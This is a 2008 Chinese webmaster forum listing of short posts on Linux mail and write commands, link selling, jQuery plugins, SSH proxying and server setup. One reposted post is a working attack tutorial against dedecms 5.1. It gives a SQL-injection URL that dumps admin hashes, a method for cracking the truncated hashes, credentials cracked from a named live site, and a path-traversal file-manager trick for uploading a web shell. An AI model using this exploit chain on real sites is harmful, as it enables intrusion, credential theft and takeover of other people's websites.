Latest from 飞腿站长站: 郑州

图片买卖网站 ... no reply

蓝色梦幻 — Tue, 18 Nov 2008 11:20:31 +0800

http://www.fotolia.com/

Linux下Mail命令 ... no reply

蓝色梦幻 — Tue, 18 Nov 2008 00:28:23 +0800

系统收到邮件都会保存在“/var/spool/mail/[linux用户名]”文件中。
在linux中输入mail，就进行了收件箱，并显示二十封邮件列表。
此时命令提示符为"&"
unread 标记为未读邮件
h|headers 显示当前的邮件列表
l|list 显示当前支持的命令列表
?|help 显示多个查看邮件列表的命令参数用法
d 删除当前邮件，指针并下移。 d 1-100 删除第1到100封邮件
f|from 只显示当前邮件的简易信息。 f num 显示某一个邮件的简易信息
f|from num 指针移动到某一封邮件
z 显示刚进行收件箱时的后面二十封邮件列表
more|p|page 阅读当前指针所在的邮件内容阅读时，按空格键就是翻页，按回车键就是下移一行
t|type|more|p|page num 阅读某一封邮件
n|next|{什么都不填} 阅读当前指针所在的下一封邮件内容
阅读时，按空格键就是翻页，按回车键就是下移一行
v|visual 当前邮件进入纯文本编辑模式
n|next|{什么都不填} num 阅读某一封邮件
top 显示当前指针所在的邮件的邮件头
file|folder 显示系统邮件所在的文件，以及邮件总数等信息
x 退出mail命令平台，并不保存之前的操作，比如删除邮件
q 退出mail命令平台,保存之前的操作，比如删除已用d删除的邮件，已阅读邮件会转存到当前用户家目录下的mbox文件中。如果在mbox中删除文件才会彻底删除。
在linux文本命令平台输入 mail -f mbox，就可以看到当前目录下的mbox中的邮件了。
cd 改变当前所在文件夹的位置
写信时，连按两次Ctrl+C键则中断工作，不送此信件。
读信时，按一次Ctrl+C，退出阅读状态。
--------------------------------------
Linux邮件命令用法
1. 将文件当做电子邮件的内容送出
语法：mail -s “主题”用户名@地址Nfrank@xteam.xteamlinux.comThu Mar 25 11:00 13/403 “test”
&
Message 1:
From frank Thu Mar 25 11:00:25 1999/3/25
Received: (fromfrank@localhost)
by xteam.xteamlinux.com(8.8.4/8.8.4)
id LAA05170 for frank;Thu 25 Mar 1999 11:00:25 GMT
Date: Thu,25 Mar 1999 11:00:25 GMT
From:RHS Linux User
Message-Id:
To:frank@xteam.xteamlinux.com
Subject:test
Status:R
This is a mail test
&
mail命令还有很多其它用法，例如发送事先准备好的信件，或一次送信给若干人。还可以用其它方法送信件。
另附message的使用技巧：
当Linux系统处于多用户的情况下，有时在终端上会突然显示出下述信息：
Message from renee tty2…
并伴随出现一阵嘟嘟响声。这是用户renee想和你通话而产生的信号。若你用如下命令响应他:
$ write renee
这就建立起了你和renee的通信线路，renee在他的终端上键入的内容同时显示在你的终端上，反之你键入的内容也显示在renee的终端上。为区分终端上哪些是你输入的，哪些是renee输入的，我们使用如下通话协议：（o）表示一段话说完，并让对方发话，（oo）代表通话结束并退出程序。
renee’s terminal: frank terminal:
[renee@xteam renee]$ write frank
$ Message from renee tty2…
$write renee
[renee@xteam renee]$Message from you tty1…
did you forget lunch? (o)
did you forgeet lunch? (o)
ten minutes (o)
ten minutes (o)
ok (oo)
ok (oo)
ctl-d
EOF
Ctl-d
EOF
[renee@xteam renee]$ $
　
除CTL-d键外，也可以使用DELETE退出write命令。
如果你不愿意别人干扰你的工作，可以使用mesg命令拒绝接受通话。当你向一个拒绝接收通话的用户发写命令、或者向没有注册的用户要求通话时，write命令会显示不能通话的原因。

Ask2Link 链接买卖服务平台 ... no reply

蓝色梦幻 — Tue, 11 Nov 2008 13:21:11 +0800

Ask2Link是一个链接买卖服务平台。Ask2Link支持Paypal支付，10$起付，安装和使用和其他链接服务平台类似。Ask2Link列出的价格比Backlinks高一些，具体的每月价格列表如下：

PR 0 - $4
PR 1 - $8
PR 2 - $16
PR 3 - $20
PR 4 - $28
PR 5 - $36
PR 6 - $80
PR 7 - $160

当然，你可以自定义价格，Ask2Link比较不错的一点是你可以为链接设置“nofollow”属性。上一次Google PR更新，很多Blog都降了，原因就是因为出售链接。加上“nofollow”属性应该会安全一些，不过Ask2Link是不建议加上 “nofollow”属性的，因为在买卖链接的地方是会显示你出售的链接是否是“nofollow”属性。加上“nofollow”属性,可能不太会受买家青睐吧

http://www.ask2link.com/

dedecms搜索型注入0day (2008.11.09) ... no reply

tnrain — Sun, 09 Nov 2008 15:18:50 +0800

dedecms GBK 5.1 搜索型注射0day

以下内容转载：

大家好，期待已久。今天给大家带来新的0day了
这个oday是有我老师CHAR发现的，因为工作关系不方便做动画，今天由我来给大家演示

漏洞成因:
$q = trim($q);
if($areaid > 0) {
$wheresql = "areaid=$areaid and ";
}
$query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc";
获得变量q,直接放入数据库查询.导致注入产生,这样一个搜索型的注入,本身对于php环境如果设置了magic_quote_gpc=on的话,利用起来是很难的.但是可以结合php多字节编码漏洞,这样,一个相对来说不错的利用方式产生了.可以如下构造,通过get方式提交.

废话不多说大家看操作

其他的自己下去研究楼

利用地址:
plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

补充:dedecms暴出来的管理员密码只有24位,这里我简单的来说一下,dedecms首先获得某密码的32位MD5加密值,然后去掉后面8位,这样,拿剩下的24位来做为密码的加密值.这里我们可以想到,32位转16位可以把32位的前8位和后8位去掉,剩下的中间就是其16位的加密值,注意：
我们可以把dedecms中暴出来的那窜24位加密值的前8位去掉,剩下的16位就可以拿去破解了.
24-8=16

详细了解可到我们学校的网站：
http://www.yhsafe.com
http://www.yhsafe.com/announce/2008/1108/article_46.html
演示网站：http://www.oiole.com/

dede/file_manage_main.php?activepath=/../

直接在网站地址后面加上利用地址就OK
http://www.oiole.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

忽忽，很激动吧，别急
账号：admin密码：f6e75e3832e763b6
密码是24位哦
呵呵24-8=16
常识
猜出来了密码是：sina.com
默认的dedecms后台都是dede目录下的，我们来看看
后台地址：http://www.oiole.com/dede/login.php?gotopage=%2Fdede%2Findex.php
成功登录，正在转向管理管理主页！
进入后台怎么拿SHELL那？
？？？？？
貌似fckeditor编辑器哦
废话少说
看这里了dede/file_manage_main.php?activepath=/../
直接加到网站后面
http://www.oiole.com/dede/file_manage_main.php?activepath=/../
最下面新建文件
压得操作块了
（空白表示根目录，不允许用 “..” 形式的路径）
表示，我们加的文件在根目录下的
test.asp我们打开看看
哦yes上去了
动画就到这里吧

http://www.yhsafe.com/demo/2008/1109/down_609.html

Linux 下 OpenVPN 安装和 Windows OpenVPN GUI ... no reply

蓝色梦幻 — Sun, 19 Oct 2008 01:30:38 +0800

http://www.xiaohui.com/dev/server/20070514-install-openvpn.htm

jquery-color-utils ... no reply

蓝色梦幻 — Fri, 17 Oct 2008 01:03:57 +0800

http://code.google.com/p/jquery-color-utils/wiki/Document

Tracks changes in form fields ... no reply

蓝色梦幻 — Wed, 15 Oct 2008 22:30:47 +0800

http://code.zhandwa.com/2008/07/31/jquery-track-changes-in-your-forms/

seekAttention 插件 ... no reply

蓝色梦幻 — Wed, 15 Oct 2008 10:32:05 +0800

给一个指定区域突出显示
The "seekAttention" plugin gracefully get's your users attention by fading out a definable area but leaving the target element (the element which is seeking attention) un-faded and thereby focusing the users attention on it.
Demo

jQuery Feed Menus 插件 ... no reply

蓝色梦幻 — Wed, 15 Oct 2008 10:27:51 +0800

http://www.komodomedia.com/blog/2008/10/jquery-feed-menus/

fmTuner: A Last.fm Plugin for WordPress ... no reply

蓝色梦幻 — Wed, 15 Oct 2008 10:22:20 +0800

The result of the “Tunes” sidebar element on the Command-Tab homepage, fmTuner is a small WordPress plugin for retrieving song details from your Last.fm profile and publishing them anywhere in your WordPress theme. It provides options for choosing among your Recent, Loved, or Top tracks, as well as tools to adjust the update frequency and appearance:

Download

http://www.command-tab.com/2008/09/06/fmtuner-a-lastfm-plugin-for-wordpress/

The AJAX response: XML, HTML, or JSON? ... no reply

蓝色梦幻 — Mon, 13 Oct 2008 21:15:15 +0800

XML, HTML, JSON 这三种格式的比较.
http://www.quirksmode.org/blog/archives/2005/12/the_ajax_respon.html

你选择了哪一种？

FTP服务器软件除了serv-u还有什么呢？ ... 1 reply

tnrain — Mon, 13 Oct 2008 05:55:31 +0800

vps上全都装serv-u了全冲突了！

有没有其他的工具可以代替它？

IIS上那个ftp么？
还没用过它类呵呵

yeswan的网页游戏用discuz来推广真是强！ ... 2 replies

tnrain — Sun, 12 Oct 2008 15:47:45 +0800

看yeswan的论坛一天暴涨几千人在线

全是用DZ的论坛带过去的效果真是不一般!

局域网用wifi的话能映射到内网机器做web不？ ... 2 replies

tnrain — Sat, 11 Oct 2008 15:20:36 +0800

楼下来？哈哈

Linux通过ssh做代理的方法 ... no reply

蓝色梦幻 — Tue, 23 Sep 2008 13:21:08 +0800

Linux客户端下开启socks代理的方法是运行
ssh -CNf -D7777 test@192.168.0.1
其中7777是socks代理的端口，这个数字可以任意修改，
test是ssh的用户名，看具体情况而定，192.168.0.1是IP地址。

构建安全rsync ... no reply

蓝色梦幻 — Tue, 23 Sep 2008 12:33:39 +0800

随着安全要求的提高，我们逐渐采用sftp或scp来取代ftp。然而，可能由于网络状况等原因，使得scp/sftp可能发生中断。为此，不得不很痛苦的重新拷贝文件，不仅麻烦，还严重浪费带宽和时间。在这里，我们采用rsync over ssh的方式，既安全又方便，因为rsync支持断点续传。
http://imysql.cn/2008_09_23_secure_rsync_over_ssh

mysql优化--用TIMESTAMP类型取代INT和DATETIME ... no reply

蓝色梦幻 — Tue, 23 Sep 2008 12:32:35 +0800

用 INT UNSIGNED 来存储一个转换成Unix时间戳的时间值，认为这样做从索引，比较等角度来讲，都会比较高效。现在我们来对比下 TIMESTAMP 和 INT UNSIGNED 以及 DATETIME 这3种类型到底谁更好。
http://imysql.cn/2008_07_17_timestamp_vs_int_and_datetime

Photoshop Brushes-Free Quality Photoshop Brushes ... no reply

蓝色梦幻 — Thu, 18 Sep 2008 11:38:04 +0800

http://qbrushes.com/

LxAdmin下给lighttpd安装ZendOptimizer ... no reply

蓝色梦幻 — Wed, 17 Sep 2008 22:22:05 +0800

cd /usr/local/src

wget http://downloads.zend.com/optimizer/3.3.3/ZendOptimizer-3.3.3-linux-glibc23-i386.tar.gz

tar -xzvf ZendOptimizer-3.3.3-linux-glibc23-i386.tar.gz

./ZendOptimizer-3.3.3-linux-glibc23-i386/install.sh

php.ini配置文件目录是：/etc
注意使用的是lighttpd，而非apache

配置域名目录下php.ini文件
1，/etc/php.ini是总的配置文件。还有一个具体的配置文件位于：/home/httpd/domain.com/php.ini，这个文件也要设置下。
2，把php.ini文件下的[zend]段落复制下来，再添加到/home/httpd/domain.com/php.ini文件中。

[Zend]
zend_extension_manager.optimizer=/usr/local/Zend/lib/Optimizer-3.3.3
zend_extension_manager.optimizer_ts=/usr/local/Zend/lib/Optimizer_TS-3.3.3
zend_optimizer.version=3.3.3
zend_extension=/usr/local/Zend/lib/ZendExtensionManager.so
zend_extension_ts=/usr/local/Zend/lib/ZendExtensionManager_TS.so

重启lighttpd

/etc/init.d/lighttpd restart

字体css ... no reply

蓝色梦幻 — Mon, 08 Sep 2008 14:03:50 +0800

支持mac
http://www.typechart.com/